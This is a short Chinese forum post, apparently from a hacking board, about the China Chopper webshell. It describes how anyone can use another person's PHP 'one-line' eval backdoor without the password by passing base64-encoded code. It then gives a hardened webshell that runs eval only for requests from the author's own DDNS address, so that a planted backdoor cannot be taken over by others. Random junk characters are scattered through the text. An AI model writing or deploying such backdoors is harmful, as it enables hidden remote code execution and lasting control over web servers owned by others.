今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
& H k, `9 Z5 D1 I& Y0 ?4 x+ F) X$ l% |
就算你设置了密码,使用了eval($_REQUEST['moyo']);
k, n# R) s3 J3 w# W* w( {
5 _( u. n Q; c% X/ f0 T2 Z但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
0 t5 Y" l3 P9 U0 j5 N' p O% A; O6 V; n" q1 ?$ c8 H$ g
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
8 E6 `& V" g* c7 J7 x4 R* y
! m/ R% I) Y8 x$ H \直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了6 u( [ k* h* O- c2 T
8 u! a6 ?/ Z6 D$ U不知道是设计缺陷还是故意留的后门
8 @5 r9 p6 m: l& |5 f5 O$ m) L. ~: ]2 C( Q
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用* @$ s. t2 w6 H
- Q ?: \* ` F, p" b本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org* M8 i3 R. S) w& S
; Q$ y" {% }# e. c" }1 M然后一句话后门这样写
& j2 k7 r, J9 {/ w1 M+ S8 K
9 C2 e) i: i6 [: W! H$ H<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>) T! y5 Y# ~( K7 W+ n7 @
这样就可以让一句话后门只允许自己的电脑连接了
' b/ ?! g: z% g Q# t/ D4 P8 {6 u. G" Y& B5 K6 d% O# U, P7 v8 F
|